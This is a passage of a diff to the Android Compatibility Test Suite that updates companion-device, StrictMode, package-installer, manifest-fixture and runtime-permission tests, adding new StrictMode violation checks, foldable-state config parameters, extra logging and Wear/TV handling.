-        val userId = context.userId
-        val packageName = context.packageName
-
         assertFalse(isCdmAssociated(DUMMY_MAC_ADDRESS, packageName, MANAGE_COMPANION_DEVICES))
         assertFalse(isShellAssociated(DUMMY_MAC_ADDRESS, packageName))
 
@@ -165,9 +150,6 @@
     @AppModeFull(reason = "Companion API for non-instant apps only")
     @Test
     fun testDump() {
-        val userId = context.userId
-        val packageName = context.packageName
-
         try {
             runShellCommand(
                     "cmd companiondevice associate $userId $packageName $DUMMY_MAC_ADDRESS")
@@ -183,13 +165,11 @@
     @AppModeFull(reason = "Companion API for non-instant apps only")
     @Test
     fun testProfiles() {
-        installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+        installApk("--user $userId $TEST_APP_APK_LOCATION")
         startApp(TEST_APP_PACKAGE_NAME)
 
-        waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
-                .performAction(ACTION_SET_TEXT,
-                        bundleOf(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE to ""))
-        waitForIdle()
+        uiDevice.waitAndFind(By.desc("name filter")).text = ""
+        uiDevice.waitForIdle()
 
         click("Watch")
         val device = getEventually({
@@ -224,13 +204,11 @@
         // in Settings but not in TvSettings for Android TV devices (b/199224565).
         assumeFalse(isTV)
 
-        installApk("--user ${UserHandle.myUserId()} $TEST_APP_APK_LOCATION")
+        installApk("--user $userId $TEST_APP_APK_LOCATION")
         startApp(TEST_APP_PACKAGE_NAME)
 
-        waitFindNode(hasClassThat(`is`(equalTo(EditText::class.java.name))))
-                .performAction(ACTION_SET_TEXT,
-                        bundleOf(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE to ""))
-        waitForIdle()
+        uiDevice.waitAndFind(By.desc("name filter")).text = ""
+        uiDevice.waitForIdle()
 
         val deviceForAssociation = getEventually({
             click("Associate")
@@ -268,24 +246,35 @@
                 .filter { it.startsWith(pkg) }
                 .map { it.substringAfterLast(" ") }
     }
+
+    private fun isShellAssociated(macAddress: String, packageName: String): Boolean {
+        return runShellCommand("cmd companiondevice list $userId")
+                .lines()
+                .any {
+                    packageName in it && macAddress in it
+                }
+    }
+
+    private fun isCdmAssociated(
+        macAddress: String,
+        packageName: String,
+        vararg permissions: String
+    ): Boolean {
+        return runWithShellPermissionIdentity(ThrowingSupplier {
+            cdm.isDeviceAssociatedForWifiConnection(packageName,
+                    MacAddress.fromString(macAddress), context.user)
+        }, *permissions)
+    }
 }
 
+private fun UiDevice.waitAndFind(selector: BySelector): UiObject2 =
+        wait(Until.findObject(selector), 1000)
+
 private fun click(label: String) {
     waitFindObject(byTextIgnoreCase(label)).click()
     waitForIdle()
 }
 
-fun hasClassThat(condition: Matcher<in String?>?): Matcher<AccessibilityNodeInfo> {
-    return MatcherUtils.propertyMatches(
-            "class",
-            { obj: AccessibilityNodeInfo -> obj.className },
-            condition)
-}
-
-fun bundleOf(vararg entries: Pair<String, Any>) = Bundle().apply {
-    entries.forEach { (k, v) -> set(k, v) }
-}
-
 operator fun Bundle.set(key: String, value: Any?) {
     if (value is Array<*> && value.isArrayOf<Parcelable>()) {
         putParcelableArray(key, value as Array<Parcelable>)
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index 0b5ed0d..65ce191 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -16,9 +16,12 @@
 
 package android.os.cts;
 
+import static android.Manifest.permission.INTERNAL_SYSTEM_WINDOW;
+import static android.Manifest.permission.SYSTEM_ALERT_WINDOW;
 import static android.content.Context.WINDOW_SERVICE;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_PHONE;
 
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
@@ -28,6 +31,7 @@
 
 import android.app.Activity;
 import android.app.Instrumentation;
+import android.app.Service;
 import android.app.WallpaperManager;
 import android.content.ComponentName;
 import android.content.Context;
@@ -39,6 +43,7 @@
 import android.hardware.display.DisplayManager;
 import android.net.TrafficStats;
 import android.net.Uri;
+import android.os.Binder;
 import android.os.IBinder;
 import android.os.RemoteException;
 import android.os.StrictMode;
@@ -65,11 +70,14 @@
 import android.util.Log;
 import android.view.Display;
 import android.view.GestureDetector;
+import android.view.View;
 import android.view.ViewConfiguration;
 import android.view.WindowManager;
+import android.window.WindowProviderService;
 
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ServiceTestRule;
 import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
@@ -77,6 +85,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.BufferedOutputStream;
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileInputStream;
@@ -147,6 +156,63 @@
     }
 
     @Test
+    public void testThreadBuilder_detectUnbufferedIo() throws Exception {
+        StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
+            .penaltyLog()
+            .detectUnbufferedIo()
+            .build();
+        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder(policy).build());
+
+        final File test = File.createTempFile("foo", "bar");
+        inspectViolation(
+            () -> {
+                writeUnbuffered(test);
+            },
+            info -> {
+                assertThat(info.getViolationDetails()).isNull();
+                assertThat(info.getStackTrace()).contains("UnbufferedIoViolation");
+            });
+    }
+
+    @Test
+    public void testThreadBuilder_permitUnbufferedIo() throws Exception {
+        StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder()
+            .penaltyLog()
+            .permitUnbufferedIo()
+            .build();
+        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder(policy).build());
+
+        final File test = File.createTempFile("foo", "bar");
+        inspectViolation(
+            () -> {
+                writeUnbuffered(test);
+            },
+            info -> {
+                assertThat(info).isNull();
+            });
+    }
+
+    private void writeUnbuffered(File file) throws Exception {
+        if (file.exists()) {
+            file.delete();
+        }
+
+        try (BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(file))) {
+            for (int i = 0; i < 11; i++) {
+                out.write(1);
+                out.write(2);
+                out.write(3);
+                out.write(4);
+                out.flush();
+            }
+        } finally {
+            if (file.exists()) {
+                file.delete();
+            }
+        }
+    }
+
+    @Test
     public void testUnclosedCloseable() throws Exception {
         //clean before test
         System.gc();
@@ -933,6 +999,99 @@
         }
     }
 
+    @Test
+    public void testIncorrectContextUse_Service_ThrowViolation() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectIncorrectContextUse()
+                        .penaltyLog()
+                        .build());
+
+        final Intent intent = new Intent(getContext(), TestService.class);
+        final ServiceTestRule serviceRule = new ServiceTestRule();
+        TestService service = ((TestService.TestToken) serviceRule.bindService(intent))
+                .getService();
+        try {
+            assertViolation("Tried to access visual service " + WM_CLASS_NAME,
+                    () -> service.getSystemService(WindowManager.class));
+
+            assertViolation(
+                    "The API:ViewConfiguration needs a proper configuration.",
+                    () -> ViewConfiguration.get(service));
+
+            mInstrumentation.runOnMainSync(() -> {
+                try {
+                    assertViolation("The API:GestureDetector#init needs a proper configuration.",
+                            () -> new GestureDetector(service,
+                                    mGestureListener));
+                } catch (Exception e) {
+                    fail("Failed because of " + e);
+                }
+            });
+
+            if (isWallpaperSupported()) {
+                assertViolation("Tried to access UI related API:", () ->
+                        service.getSystemService(WallpaperManager.class)
+                                .getDesiredMinimumWidth());
+            }
+        } finally {
+            serviceRule.unbindService();
+        }
+    }
+
+    @Test
+    public void testIncorrectContextUse_WindowProviderService_NoViolation() throws Exception {
+        StrictMode.setVmPolicy(
+                new StrictMode.VmPolicy.Builder()
+                        .detectIncorrectContextUse()
+                        .penaltyLog()
+                        .build());
+
+        final Intent intent = new Intent(getContext(), TestWindowService.class);
+        final ServiceTestRule serviceRule = new ServiceTestRule();
+        TestWindowService service = ((TestWindowService.TestToken) serviceRule.bindService(intent))
+                .getService();
+        try {
+            assertNoViolation(() -> service.getSystemService(WindowManager.class));
+
+            final View view = new View(service);
+            final WindowManager.LayoutParams correctType =
+                    new WindowManager.LayoutParams(TYPE_APPLICATION_OVERLAY);
+            final WindowManager.LayoutParams wrongType =
+                    new WindowManager.LayoutParams(TYPE_PHONE);
+            WindowManager wm = service.getSystemService(WindowManager.class);
+
+            mInstrumentation.runOnMainSync(() -> {
+                try {
+                    // Hold INTERNAL_SYSTEM_WINDOW and SYSTEM_ALERT_WINDOW permission to
+                    // add TYPE_APPLICATION_OVERLAY and TYPE_PHONE window.
+                    mInstrumentation.getUiAutomation().adoptShellPermissionIdentity(
+                            INTERNAL_SYSTEM_WINDOW, SYSTEM_ALERT_WINDOW);
+
+                    assertNoViolation(() -> wm.addView(view, correctType));
+                    wm.removeViewImmediate(view);
+
+                    assertViolation("WindowContext's window type must match type in "
+                            + "WindowManager.LayoutParams", () -> wm.addView(view, wrongType));
+
+                    assertNoViolation(() -> new GestureDetector(service, mGestureListener));
+                } catch (Exception e) {
+                    fail("Failed because of " + e);
+                } finally {
+                    mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
+                }
+            });
+            assertNoViolation(() -> ViewConfiguration.get(service));
+
+            if (isWallpaperSupported()) {
+                assertNoViolation(() -> service.getSystemService(WallpaperManager.class)
+                        .getDesiredMinimumWidth());
+            }
+        } finally {
+            serviceRule.unbindService();
+        }
+    }
+
     /**
      * Returns {@code true} to indicate that wallpaper is supported.
      * <p>
@@ -1217,4 +1376,39 @@
                 || pm.hasSystemFeature(PackageManager.FEATURE_WIFI)
                 || pm.hasSystemFeature(PackageManager.FEATURE_ETHERNET);
     }
+
+    public static class TestService extends Service {
+        private final TestToken mToken = new TestToken();
+
+        @Override
+        public IBinder onBind(Intent intent) {
+            return mToken;
+        }
+
+        public class TestToken extends Binder {
+            TestService getService() {
+                return TestService.this;
+            }
+        }
+    }
+
+    public static class TestWindowService extends WindowProviderService {
+        private final TestToken mToken = new TestToken();
+
+        @Override
+        public IBinder onBind(Intent intent) {
+            return mToken;
+        }
+
+        @Override
+        public int getWindowType() {
+            return TYPE_APPLICATION_OVERLAY;
+        }
+
+        public class TestToken extends Binder {
+            TestWindowService getService() {
+                return TestWindowService.this;
+            }
+        }
+    }
 }
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
index 746f8b2..5deef30 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
+++ b/tests/tests/packageinstaller/adminpackageinstaller/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
         <option name="user-type" value="system"/>
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
index 79ea698..73ff59a 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAtomicInstallTestCases.apk" />
diff --git a/tests/tests/packageinstaller/install/AndroidTest.xml b/tests/tests/packageinstaller/install/AndroidTest.xml
index a890706..65ab22f 100644
--- a/tests/tests/packageinstaller/install/AndroidTest.xml
+++ b/tests/tests/packageinstaller/install/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/packageinstaller" />
diff --git a/tests/tests/packageinstaller/install_appop_default/AndroidTest.xml b/tests/tests/packageinstaller/install_appop_default/AndroidTest.xml
index 4f3c46b..c4aea70 100644
--- a/tests/tests/packageinstaller/install_appop_default/AndroidTest.xml
+++ b/tests/tests/packageinstaller/install_appop_default/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/packageinstaller" />
diff --git a/tests/tests/packageinstaller/install_appop_denied/AndroidTest.xml b/tests/tests/packageinstaller/install_appop_denied/AndroidTest.xml
index fbaebed..b1d19f8 100644
--- a/tests/tests/packageinstaller/install_appop_denied/AndroidTest.xml
+++ b/tests/tests/packageinstaller/install_appop_denied/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/packageinstaller" />
diff --git a/tests/tests/packageinstaller/tapjacking/AndroidTest.xml b/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
index d8f7132..78a60e9 100644
--- a/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
+++ b/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/packageinstaller/uninstall/AndroidTest.xml b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
index dd98214..9418a06 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
@@ -20,6 +20,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
index ef93bbb..893f23a 100644
--- a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
@@ -18,7 +18,6 @@
 import static android.app.AppOpsManager.MODE_ALLOWED;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-import static android.content.pm.PackageManager.FEATURE_AUTOMOTIVE;
 import static android.graphics.PixelFormat.TRANSLUCENT;
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
@@ -28,7 +27,6 @@
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeFalse;
 
 import android.content.Context;
 import android.content.Intent;
@@ -105,6 +103,7 @@
         Intent intent = new Intent(Intent.ACTION_UNINSTALL_PACKAGE);
         intent.setData(Uri.parse("package:" + TEST_APK_PACKAGE_NAME));
         intent.addFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+        Log.d(LOG_TAG, "sending uninstall intent ("  + intent + ") on user " + mContext.getUser());
         mContext.startActivity(intent);
     }
 
@@ -150,9 +149,7 @@
 
     @Test
     public void testUninstall() throws Exception {
-        // TODO(b/200620676) STOPSHIP Fix accessibility issue and remove assumeNoAutomotive()
-        assumeNoAutomotive();
-        assertTrue(isInstalled());
+        assertTrue("Package is not installed", isInstalled());
 
         startUninstall();
 
@@ -168,7 +165,8 @@
 
         // Confirm uninstall
         if (mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK)) {
-            UiObject2 clickableView = mUiDevice.findObject(By.focusable(true).hasDescendant(By.text("OK")));
+            UiObject2 clickableView = mUiDevice
+                    .findObject(By.focusable(true).hasDescendant(By.text("OK")));
             if (!clickableView.isFocused()) {
                 mUiDevice.pressKeyCode(KeyEvent.KEYCODE_DPAD_DOWN);
             }
@@ -180,7 +178,12 @@
             }
             mUiDevice.pressKeyCode(KeyEvent.KEYCODE_DPAD_CENTER);
         } else {
-            mUiDevice.findObject(By.text("OK")).click();
+            UiObject2 clickableView = mUiDevice.findObject(By.text("OK"));
+            if (clickableView == null) {
+              dumpWindowHierarchy();
+              fail("OK button not shown");
+            }
+            clickableView.click();
         }
 
         for (int i = 0; i < 30; i++) {
@@ -195,16 +198,15 @@
     }
 
     private boolean isInstalled() {
+        Log.d(LOG_TAG, "Testing if package " + TEST_APK_PACKAGE_NAME + " is installed for user "
+                + mContext.getUser());
         try {
-            mContext.getPackageManager().getPackageInfo(TEST_APK_PACKAGE_NAME, 0);
+            mContext.getPackageManager().getPackageInfo(TEST_APK_PACKAGE_NAME, /* flags= */ 0);
             return true;
         } catch (PackageManager.NameNotFoundException e) {
+            Log.v(LOG_TAG, "Package " + TEST_APK_PACKAGE_NAME + " not installed for user "
+                    + mContext.getUser() + ": " + e);
             return false;
         }
     }
-
-    private void assumeNoAutomotive() {
-        assumeFalse("automotive build",
-                mContext.getPackageManager().hasSystemFeature(FEATURE_AUTOMOTIVE));
-    }
 }
diff --git a/tests/tests/packagewatchdog/AndroidTest.xml b/tests/tests/packagewatchdog/AndroidTest.xml
index 23113be..94b1390 100644
--- a/tests/tests/packagewatchdog/AndroidTest.xml
+++ b/tests/tests/packagewatchdog/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPackageWatchdogTestCases.apk" />
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index 84470cd..cfcc38b 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -3455,6 +3455,13 @@
     <permission android:name="android.permission.TRIGGER_SHELL_BUGREPORT"
         android:protectionLevel="signature" />
 
+    <!-- Allows an application to trigger profcollect report upload via shell.
+        <p>Not for use by third-party applications.
+        @hide
+    -->
+    <permission android:name="android.permission.TRIGGER_SHELL_PROFCOLLECT_UPLOAD"
+        android:protectionLevel="signature" />
+
     <!-- Allows an application to be the status bar.  Currently used only by SystemUI.apk
         @hide
         @SystemApi -->
@@ -4834,6 +4841,18 @@
     <permission android:name="android.permission.WRITE_SETTINGS_HOMEPAGE_DATA"
                 android:protectionLevel="signature|privileged" />
 
+    <!-- An application needs this permission for
+         {@link android.provider.Settings#ACTION_SETTINGS_EMBED_DEEP_LINK_ACTIVITY} to show its
+         {@link android.app.Activity} embedded in Settings app. -->
+    <permission android:name="android.permission.LAUNCH_MULTI_PANE_SETTINGS_DEEP_LINK"
+                android:protectionLevel="signature|preinstalled" />
+
+    <!-- @SystemApi {@link android.app.Activity} should require this permission to ensure that only
+         the settings app can embed it in a multi pane window.
+         @hide -->
+    <permission android:name="android.permission.ALLOW_PLACE_IN_MULTI_PANE_SETTINGS"
+                android:protectionLevel="signature" />
+
     <!-- @SystemApi Allows applications to set a live wallpaper.
          @hide XXX Change to signature once the picker is moved to its
          own apk as Ghod Intended. -->
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index 27b7c3b..d6ce2e1 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -385,6 +385,11 @@
          android:label="@string/car_permission_car_cluster_control"
          android:description="@string/car_permission_desc_car_cluster_control"/>
 
+    <permission android:name="android.car.permission.CAR_MONITOR_CLUSTER_NAVIGATION_STATE"
+        android:protectionLevel="signature|privileged"
+        android:label="@string/car_permission_car_monitor_cluster_navigation_state"
+        android:description="@string/car_permission_desc_car_monitor_cluster_navigation_state"/>
+
     <permission android:name="android.car.permission.CAR_HANDLE_USB_AOAP_DEVICE"
          android:protectionLevel="system|signature"
          android:label="@string/car_permission_label_car_handle_usb_aoap_device"
@@ -430,11 +435,6 @@
         android:label="@string/car_permission_label_collect_car_watchdog_metrics"
         android:description="@string/car_permission_desc_collect_car_watchdog_metrics"/>
 
-    <permission android:name="android.car.permission.USE_CAR_TELEMETRY_SERVICE"
-        android:protectionLevel="signature|privileged"
-        android:label="@string/car_permission_label_use_telemetry_service"
-        android:description="@string/car_permission_desc_use_telemetry_service"/>
-
     <permission android:name="android.car.permission.CONTROL_CAR_EVS_ACTIVITY"
         android:protectionLevel="signature|privileged"
         android:label="@string/car_permission_label_control_evs_activity"
@@ -480,6 +480,11 @@
         android:label="@string/car_permission_label_monitor_input"
         android:description="@string/car_permission_desc_monitor_input"/>
 
+    <permission android:name="android.car.permission.CONTROL_CAR_APP_LAUNCH"
+        android:protectionLevel="signature|privileged"
+        android:label="@string/car_permission_label_control_car_app_launch"
+        android:description="@string/car_permission_desc_control_car_app_launch"/>
+
     <uses-permission android:name="android.permission.CALL_PHONE"/>
     <uses-permission android:name="android.permission.DEVICE_POWER"/>
     <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS"/>
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index d968dce..c0ee17b 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -154,6 +154,10 @@
         waitForIdle()
     }
 
+    protected fun clickPermissionControllerUi(selector: BySelector, timeoutMillis: Long = 20_000) {
+        click(selector.pkg(context.packageManager.permissionControllerPackageName), timeoutMillis)
+    }
+
     protected fun pressBack() {
         uiDevice.pressBack()
         waitForIdle()
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index ab4a05a..bc7edeb 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -28,8 +28,10 @@
 import android.support.test.uiautomator.BySelector
 import android.support.test.uiautomator.UiScrollable
 import android.support.test.uiautomator.UiSelector
+import android.support.test.uiautomator.StaleObjectException
 import android.text.Spanned
 import android.text.style.ClickableSpan
+import android.util.Log
 import android.view.View
 import com.android.compatibility.common.util.SystemUtil.eventually
 import org.junit.After
@@ -449,7 +451,7 @@
             if (isWatch) {
                 click(By.text(permissionLabel), 40_000)
             } else {
-                click(By.text(permissionLabel))
+                clickPermissionControllerUi(By.text(permissionLabel))
             }
 
             val wasGranted = if (isAutomotive) {
@@ -457,15 +459,12 @@
                 // won't show an "Ask every time" message
                 !waitFindObject(By.text(
                         getPermissionControllerString("app_permission_button_deny"))).isChecked
-            } else if (isTv) {
+            } else if (isTv || isWatch) {
                 !(waitFindObject(
                     By.text(getPermissionControllerString(DENY_BUTTON_TEXT))).isChecked ||
                     (!isLegacyApp && hasAskButton(permission) && waitFindObject(
                         By.text(getPermissionControllerString(ASK_BUTTON_TEXT))).isChecked))
             } else {
-                if (isWatch) {
-                    click(By.text("Deny"))
-                }
                 !(waitFindObject(By.res(DENY_RADIO_BUTTON)).isChecked ||
                     (!isLegacyApp && hasAskButton(permission) &&
                         waitFindObject(By.res(ASK_RADIO_BUTTON)).isChecked))
@@ -489,7 +488,7 @@
                         PermissionState.DENIED_WITH_PREJUDICE -> By.text(
                                 getPermissionControllerString("app_permission_button_deny"))
                     }
-                } else if (isTv) {
+                } else if (isTv || isWatch) {
                     when (state) {
                         PermissionState.ALLOWED ->
                             if (showsForegroundOnlyButton(permission)) {
@@ -539,15 +538,22 @@
                 if (!isTv) {
                     scrollToBottom()
                 }
-                val resources = context.createPackageContext(
-                    packageManager.permissionControllerPackageName, 0
-                ).resources
-                val confirmTextRes = resources.getIdentifier(
-                    "com.android.permissioncontroller:string/grant_dialog_button_deny_anyway", null,
-                    null
-                )
-                val confirmText = resources.getString(confirmTextRes)
-                if (!isWatch) {
+
+                // Due to the limited real estate, Wear uses buttons with icons instead of text
+                // for dialogs
+                if (isWatch) {
+                    click(By.res(
+                        "com.android.permissioncontroller:id/wear_alertdialog_positive_button"))
+                } else {
+                    val resources = context.createPackageContext(
+                        packageManager.permissionControllerPackageName, 0
+                    ).resources
+                    val confirmTextRes = resources.getIdentifier(
+                        "com.android.permissioncontroller:string/grant_dialog_button_deny_anyway",
+                        null, null
+                    )
+
+                    val confirmText = resources.getString(confirmTextRes)
                     click(byTextStartsWithCaseInsensitive(confirmText))
                 }
             }
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
index 8925088..905d46e 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
@@ -59,8 +59,6 @@
     fun testTapjackGrantDialog_partialOverlay() {
         // PermissionController for television uses a floating window.
         assumeFalse(isTv)
-        // Automotive doesn't support detecting partial overlays yet: b/192088266
-        assumeFalse(isAutomotive)
 
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
         requestAppPermissionsForNoResult(ACCESS_FINE_LOCATION) {}
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
index 614cdc6..ff261f6 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30.kt
@@ -17,8 +17,11 @@
 package android.permission3.cts
 
 import android.Manifest.permission.ACCESS_BACKGROUND_LOCATION
+import android.Manifest.permission.ACCESS_COARSE_LOCATION
 import android.Manifest.permission.ACCESS_FINE_LOCATION
+import android.support.test.uiautomator.By
 import org.junit.Test
+import org.junit.Assert.assertNull
 
 /**
  * Runtime permission behavior apps targeting API 30
@@ -53,4 +56,23 @@
             pressBack()
         }
     }
+
+    @Test
+    fun testRequestFgLocationAndNoAccuracyOptions() {
+        installPackage(APP_APK_PATH_30)
+        assertAppHasPermission(ACCESS_FINE_LOCATION, false)
+        assertAppHasPermission(ACCESS_COARSE_LOCATION, false)
+
+        requestAppPermissionsAndAssertResult(ACCESS_FINE_LOCATION to false,
+                ACCESS_COARSE_LOCATION to false) {
+            // Verify there's no location accuracy options
+            val locationAccuracyOptions = waitFindObjectOrNull(By.res(
+                    "com.android.permissioncontroller:id/permission_location_accuracy"), 1000L)
+            assertNull("For apps targetSDK < 31, location permission dialog shouldn't show " +
+                    "accuracy options. Please update the system with " +
+                    "the latest (at least Oct, 2021) mainline modules.",
+                    locationAccuracyOptions)
+            return
+        }
+    }
 }
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt
index 3cef547..c3b2bb5 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTest30WithBluetooth.kt
@@ -26,8 +26,10 @@
 import android.content.Intent
 import android.content.pm.PackageManager
 import android.content.pm.PackageManager.FLAG_PERMISSION_REVOKED_COMPAT
+import android.location.LocationManager
 import android.os.Build
 import android.os.Process
+import android.os.UserHandle
 import androidx.test.InstrumentationRegistry
 import androidx.test.filters.SdkSuppress
 import com.android.compatibility.common.util.SystemUtil.runShellCommandOrThrow
